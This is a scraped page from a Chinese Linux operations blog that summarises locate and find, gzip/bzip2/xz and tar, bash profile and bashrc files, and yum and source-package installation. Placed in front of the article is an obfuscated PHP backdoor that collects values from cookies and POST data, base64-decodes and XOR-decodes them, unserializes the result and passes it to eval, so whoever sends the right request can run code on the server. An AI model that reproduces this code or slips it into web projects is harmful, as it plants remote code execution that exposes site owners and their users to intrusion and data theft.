$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 文件查询、yum安装等零散知识点总结 | Linux运维部落

文件查询、yum安装等零散知识点总结

归纳重要知识点:文件查询、Linux配置文件、文件的压缩与归档、yum安装包文件

  这篇博客介绍以前遗落的重要知识点进行归纳总结,分为四大块:文件查询命令、全局与个人配置文件、文件的压缩与归档、yum命令安装程序包的相关条件与操作。下面结合个人理解与学习内容一一进行总结。

    一.文件查询命令locate与find

  众所周知,linux系统的一切都是由文件所构成的,众多的文件构成了这样庞大的操作系统,即使有文件系统进行管理,所包含的文件也是大量的。在实际生产环境中,为了快速的查找相关的文件,需要一款查询命令为用户方便使用。这里介绍两个最常用的:locate与find。这两个命令各有优缺点,下面进行分别介绍。

  1.locate命令

  首先我们使用locate命令查找一个文件:

[root@localhost ~]# locate passwd
/etc/passwd
/etc/passwd-
/etc/pam.d/passwd
/etc/security/opasswd
/root/etc/passwd
/root/etc/passwd-
/root/etc/etc/passwd
...
/usr/share/man/zh_CN/man1/gpasswd.1.gz
/usr/share/man/zh_CN/man8/chpasswd.8.gz
/usr/share/man/zh_TW/man8/chpasswd.8.gz
/usr/share/vim/vim74/ftplugin/passwd.vim
/usr/share/vim/vim74/syntax/passwd.vim

  可以看到,找到了一堆,只要是包含passwd的文件或者目录,就给与匹配,所以locate只是模糊匹配,并不能进行精确查找。

  如此看来,locate的实用性并不太高,但是执行命令时,我们发现执行速度飞快无比,几乎是立即给出了结果。这是为什么呢?原来locate并不是在整个系统中一个一个扫描文件,而是查询一个文件:/var/lib/mlocate/mlocate.db。这个文件实际上是locate命令的数据库,每隔一段时间,系统会自动更新这个数据库,更新的时间是比较长的。所以locate查询文件并不是实时进行的。一般是查询不到刚刚建立的文件的。

  当然我们可以手动进行更新locate数据库,使用updatedb命令即可。下面列出locate可以接的选项:

  -i:区分大小写(默认不区分)

  -n #:只列举前#个匹配文件

  2.find命令的使用

  同样查找passwd文件,使用find

[root@localhost ~]# find /etc/ -name passwd
/etc/passwd
/etc/pam.d/passwd

  可以看到,find命令加上筛选范围/etc,按名称筛选方式,查到了基名为passwd的文件。所以find命令属于精确匹配文件。但与locate的查找速度相比,显得慢多了。

  find命令格式:find [options] [查找路径] [查找方式] [处理操作]。查找路径不必说,下面介绍查找方式的选择与处理操作的步骤。

  [查找方式]:

    -name:按文件名查找

    -user:按照属主查找

    -group:按照属组查找

    -nouser:查找无属主文件

    -nogroup:查找无属组文件

    -uid:根据UID查找文件

    -gid:根据GID查找文件

    -type TYPE:根据文件类型查找文件

    -size [+|-]#(单位K,M,G):根据文件大小进行查找。#表示找固定大小#的文件,+#表示内容大于#的文件,-#表示文件大小大等于0小等于#的文件

    -atime(单位:天)-amin(单位:分钟) [+|-]#:根据最后访问文件时间查询,+#代表#(天/分钟)之前,-#表示#(天/分钟)之内。

    -mtime(单位:天)-mmin(单位:分钟) [+|-]#:根据最后更改文件时间查询,+#代表#(天/分钟)之前,-#表示#(天/分钟)之内。

    -ctime(单位:天)-cmin(单位:分钟) [+|-]#:根据最后元数据更改时间查询,+#代表#(天/分钟)之前,-#表示#(天/分钟)之内。

    -perm [/|-]mode:根据文件权限查找,后面接八进制权限。比如:find / -perm 644表示查询所有根目录下权限为644的文件。/mode表示选取u,g,o三类用户满足其中一类用户权限就行,比如find / -perm /022表示寻找根目录下满足g权限有w或者o权限有w的文件就行,u=0所以不做条件筛选。-mode则刚好相反,find / -perm -022表示必须选取g有w,并且o权限同时有w的文件。举例说明:

[root@localhost testdir]# ll
total 4
-rw-rw-r--+ 1 root root 0 Aug 24 16:25 f1
-----w--w-. 1 root root 0 Aug 24 21:50 wangbadan
drwxr-xr-x. 2 root root 6 Aug 24 17:05 xx
-rw--w--w-. 1 root root 0 Aug 25 10:51 yy

[root@localhost testdir]# find /testdir/ -perm 022
/testdir/wangbadan

[root@localhost testdir]# find /testdir/ -perm /022
/testdir/f1
/testdir/wangbadan
/testdir/yy

[root@localhost testdir]# find /testdir/ -perm -022
/testdir/wangbadan
/testdir/yy

  以上各种查找条件都可以结合与或非-a,-o,!命令使用,来实现详细的查找文件功能。   

  [处理操作]:

  find命令最后可以加选项对查找到的文件执行操作,注意这里是将所有文件查找完毕后再一一执行。常用的有如下:

  -ls:相当于ls -l命令,显示所有文件长格式

  -print:结果显示至屏幕上,系统默认此选项

  -delete:删除所有找到文件

  -fls file:将所有文件的长格式信息保存至指定file中

  下面两个比较实用-ok与-exec:

  -ok command {} 、;对找到的每个文件执行command命令,{}代表文件,、;属于固定格式。但是-ok执行前都要询问是否执行,比较麻烦,如果不想要此步骤,将-ok换成-exec即可。下面举例说明:

[root@localhost testdir]# find /testdir/ -name f1 -ok mv {} {}.sh \;
< mv ... /testdir/f1 > ? y
[root@localhost testdir]# ls
f1.sh  wangbadan  xx  yy

 上面命令查找/testdir目录下的名为f1文件,找到后在原有名字后加上.sh变成f1.sh。

    二.文件的压缩与归档

  首先讲文件压缩,为什么需要压缩文件这个概念?简单的来说就是使用cpu的时间换存储设备的空间,达到更好的传输存储文件的作用。一般的压缩文件名字后缀都有特定格式,比如.z .gz .bz2 .xz等,下面来一一介绍。

  1.文件的压缩与解压缩命令

  compress file压缩文件生成的压缩文件后缀.z。 uncompress file.Z解压缩文件。这种命令压缩比太小,比较古老,如今已经被淘汰。

  gzip file压缩文件生成的后缀.gz。 gunzip file.gz解压缩文件。作为目前最主流的压缩格式

  bzip2 file压缩文件生成的后缀.bz2。 bunzip2 file.bz2解压缩文件。压缩比比gzip稍好

  xz file压缩文件生成的后缀.xz。 unxz file.xz解压缩文件,压缩比很有效,最牛逼

  

  这里我们注意,压缩文件之后,原文件就会删除,解压之后,原文件恢复,压缩文件会删除。如果想要保留原文件,可以使用-k选项:xz -k file。

  -#(数字)选项可以指定压缩比,默认为6,最大为9。

  -c选项可以将压缩结果输出至标准输出中:gzip -c file > /PATH/TO/SOMEFILE.gz ,也就是将压缩结果输出至一个.gz文件中,使用cat看到的是压缩后的内容,zcat可以看到原内容。

[root@localhost testdir]# ll
total 16
-rw-rw-r--+ 1 root root 48 Aug 25 11:50 f1.gz
-----w--w-. 1 root root 18 Aug 25 11:50 wangbadan
drwxr-xr-x. 2 root root  6 Aug 24 17:05 xx
-rw--w--w-. 1 root root 30 Aug 25 11:49 yy
[root@localhost testdir]# gzip -c wangbadan >> f1.gz 
[root@localhost testdir]# cat f1.gz                                                             ÿj¾WwangbadanKKK,njͪHLͫNͫ͏აÿj¾WwangbadanKKK,njͪHLͫNͫ͏აВ
[root@localhost testdir]# zcat f1.gz 
ffapigjpagnsgnqon
ffapigjpagnsgnqon

  

  2.文件的归档处理

  归档就是将多个压缩文件打包成固定格式单个文件。一般使用tar命令进行归档处理。

  tar命令使用格式:tar [options] file1 file2…下面介绍选项:

  -c:创建归档

  -x:展开归档

  -f 路径:后接创建的归档文件名,一般后缀使用.tar。

[root@localhost testdir]# tar -c f1.gz f2.gz -f ff.tar
[root@localhost testdir]# ls
f1.gz  f2.gz  ff.tar  wangbadan  xx  yy

 -t 显示归档文件内容列表

[root@localhost testdir]# tar -tf ff.tar 
f1.gz
f2.gz

 创建归档并压缩,可以一步进行,使用-z选项:tar -zcf /PATH/TO/SOME_FILE.tar.gz  file1 file2…

[root@localhost testdir]# ls
f1  f2  f3
[root@localhost testdir]# tar -zcf ff.tar.gz f1 f2 f3
[root@localhost testdir]# ls
f1  f2  f3  ff.tar.gz

 -z选项只针对于.gz格式的压缩,-j针对于.bz2格式,-J针对于.xz格式。同时打开压缩的归档文件就使用tar -zxf /PATH/TO/SOME_FILE.tar.gz

[root@localhost testdir]# rm -f f1 f2 f3
[root@localhost testdir]# ls
ff.tar.gz
[root@localhost testdir]# tar -zxf ff.tar.gz 
[root@localhost testdir]# ls
f1  f2  f3  ff.tar.gz

  可以看到,归档压缩文件解压后原文件不会消失。

    三.系统配置文件

  Linux系统中有很多配置文件,在系统启动后,根据这些配置文件信息自动执行一些操作步骤。

  1.首先按功能划分,分为profile类与bashrc类。

  profile类配置文件:用于定义环境变量,执行一些命令与脚本。

  bashrc类配置文件:用于定义本地变量,定义别名与函数。

  

  2. 按照全局配置文件与个人配置文件划分。所谓全局,是针对所有用户生效,个人是针对当前系统用户生效

  全局配置文件:/etc/profile    /etc/profile.d/*.sh    /etc/bashrc

  个人配置文件:~/.bash_profile    ~/.bashrc 

  交互式与非交互式登录配置文件的读取顺序

  交互式:/etc/profile → /etc/profile.d/*.sh → ~/.bash_profile → ~/.bashrc → /etc/bashrc

  非交互式:~/.bashrc → /etc/bashrc → /etc/profile.d/*.sh

    四.yum仓库的创建与程序包的安装(包括源程序包安装)

  通过学习我们知道,rpm安装程序包时需要考虑各个程序包之间的互相依存关系,这对我们安装程序包是一个比较麻烦的存在。yum工具完美的解决了这个问题。比如我们安装一个程序包:

[root@localhost testdir]# yum install php 
Loaded plugins: fastestmirror, langpacks
base                                                                       | 3.6 kB  00:00:00     
Loading mirror speeds from cached hostfile
Resolving Dependencies
--> Running transaction check
---> Package php.x86_64 0:5.4.16-36.el7_1 will be installed
--> Processing Dependency: php-common(x86-64) = 5.4.16-36.el7_1 for package: php-5.4.16-36.el7_1.x
...
..
..
Installed:
  php.x86_64 0:5.4.16-36.el7_1                                                                    

Dependency Installed:
  httpd.x86_64 0:2.4.6-40.el7.centos            httpd-tools.x86_64 0:2.4.6-40.el7.centos          
  mailcap.noarch 0:2.1.41-2.el7                 php-cli.x86_64 0:5.4.16-36.el7_1                  
  php-common.x86_64 0:5.4.16-36.el7_1          

Complete!

 安装php成功。卸载也是一样:

[root@localhost testdir]# yum remove php
Loaded plugins: fastestmirror, langpacks
Resolving Dependencies
--> Running transaction check
---> Package php.x86_64 0:5.4.16-36.el7_1 will be erased
--> Finished Dependency Resolution

Dependencies Resolved

==================================================================================================
 Package           Arch                 Version                         Repository           Size
==================================================================================================
Removing:
 php               x86_64               5.4.16-36.el7_1                 @base               4.4 M

Transaction Summary
==================================================================================================
Remove  1 Package

Installed size: 4.4 M
Is this ok [y/N]: y
Downloading packages:
Running transaction check
Running transaction test
Transaction test succeeded
Running transaction
  Erasing    : php-5.4.16-36.el7_1.x86_64                                                     1/1 
  Verifying  : php-5.4.16-36.el7_1.x86_64                                                     1/1 

Removed:
  php.x86_64 0:5.4.16-36.el7_1                                                                    

Complete!

  

  yum的使用非常简单,但这一切是基于yum仓库来实现的。什么是yum仓库?说白了就是一个配置文件,配置文件指明了连接外部或者本地的路径,这些路径指向的地方有大量rpm格式的程序包,这些程序包就是这个配置文件的仓库。仓库可以有多个,一般放在/etc/yum.repos.d/*.repo中。

  仓库配置文件的书写格式,下面举例:

[root@localhost yum.repos.d]# cat aa.repo 
name=jiaoshi
baseurl=http://10.1.0.1/cobbler/ks_mirror/7/
gpgcheck=0

  [base]表示仓库的ID,是仓库的唯一标识。name可以重复

  baseurl:仓库指向的外部或本地路径

  gpgcheck:表示是否对程序包进行检查,0表示不检查,1表示检查。如果检查,配置文件还要加上gpgkey=含有程序包key的路径。

  enabled:0表示不启用这个仓库,1表示启用这个仓库,如果不写默认为1

  

  如何创建一个yum仓库呢?使用createrepo [option] directory,指明路径下的配置文件,然后使用yum rpeolist查看是否在yum的仓库列表中即可。

  yum安装源文件包分三步:1.解压源程序包后执行./configure脚本,生成Makefile.in文件。2.使用make将源代码转换成二进制码。3.使用make install安装即可。

[root@localhost testdir]# ls
httpd-2.2.29.tar.bz2
[root@localhost testdir]# tar jxf httpd-2.2.29.tar.bz2 
[root@localhost testdir]# ls
httpd-2.2.29  httpd-2.2.29.tar.bz2
[root@localhost testdir]# cd httpd-2.2.29/
[root@localhost httpd-2.2.29]# ls
ABOUT_APACHE  CHANGES        httpd.dsp       libhttpd.dep  NOTICE            server
acinclude.m4  config.layout  httpd.mak       libhttpd.dsp  NWGNUmakefile     srclib
Apache.dsw    configure      httpd.spec      libhttpd.mak  os                support
build         configure.in   include         LICENSE       README            test
BuildAll.dsp  docs           INSTALL         Makefile.in   README.platforms  VERSIONING
BuildBin.dsp  emacs-style    InstallBin.dsp  Makefile.win  README-win32.txt
buildconf     httpd.dep      LAYOUT          modules       ROADMAP

[root@localhost httpd-2.2.29]# ./configure 
...
...
...
...
一大堆
configure脚本执行成功
[root@localhost httpd-2.2.29]# make
...
...
...
[root@localhost httpd-2.2.29]# make install
...
..
源程序包安装成功,可以启用http外部服务了!

   

原创文章,作者:mcgeewang,如若转载,请注明出处:http://www.178linux.com/39880

(0)
上一篇 2016-08-26 09:11
下一篇 2016-08-26 09:11

相关推荐

  • MariaDB日志

    MariaDB日志 查询日志:query log; 慢查询日志:slow query log 查询时长超出指定界限。 错误日志:error log 二进制日志:binary log;此中存储要发生改变或潜在发生改变的语句。 中继日志:reley log 事务日志:transaction log 1、查询日志 记录查询语句,日志存储位置:一般不开启。 文件:f…

    Linux干货 2016-11-20
  • MHA+keepalived 高可用MYSQL集群

    一、MHA简介 二、试验环境及要求 三、部署MHA 四、测试MHA集群功能 一、MHA简介     MHA(Master High Availability)目前在MySQL高可用方面是一个相对成熟的解决方案。在MySQL故障切换过程中,MHA能做到在0~30秒之内手动或自动(结合脚本)完成数据库的故障切换操作,并且在…

    2017-02-25
  • 任务计划

    Linux 任务计划、周期性任务执行 未来的某时间点执行一次任务 at batch :系统 自行选择空闲时间去执行此处指定的任务 周期性运行某任务 cron [root@localhost ~]# rpm -q at (CentOS6中使用) at-3.1.10-48.el6.x86_64 [root@localhost ~]# rpm -ql at /et…

    Linux干货 2017-05-13
  • vim 编辑器 定时任务 bash基础

    vim 编辑器 定时任务 bash基础

    2017-10-17
  • N22+北京zhangzhangzhang+第四周作业

    1、复制/etc/skel目录为/home/tuser1,要求/home/tuser1及其内部文件的属组和其它用户均没有任何访问权限。 cp -r /etc/skel /home/tuser1    ls -ld /home/tuser1   &nb…

    Linux干货 2016-09-05
  • 磁盘管理之文件系统

    一,概述 文件系统是操作系统用于明确存储设备或分区上的文件的方 法和数据结构;即在存储设备上组织文件的方法。操作系统 中负责管理和存储文件信息的软件结构称为文件管理系统, 简称文件系统。  从系统角度来看,文件系统是对文件存储设备的空间进行组 织和分配,负责文件存储并对存入的文件进行保护和检索的 系统。具体地说,它负责为用户建立文件,存入、读出、修…

    Linux干货 2016-09-05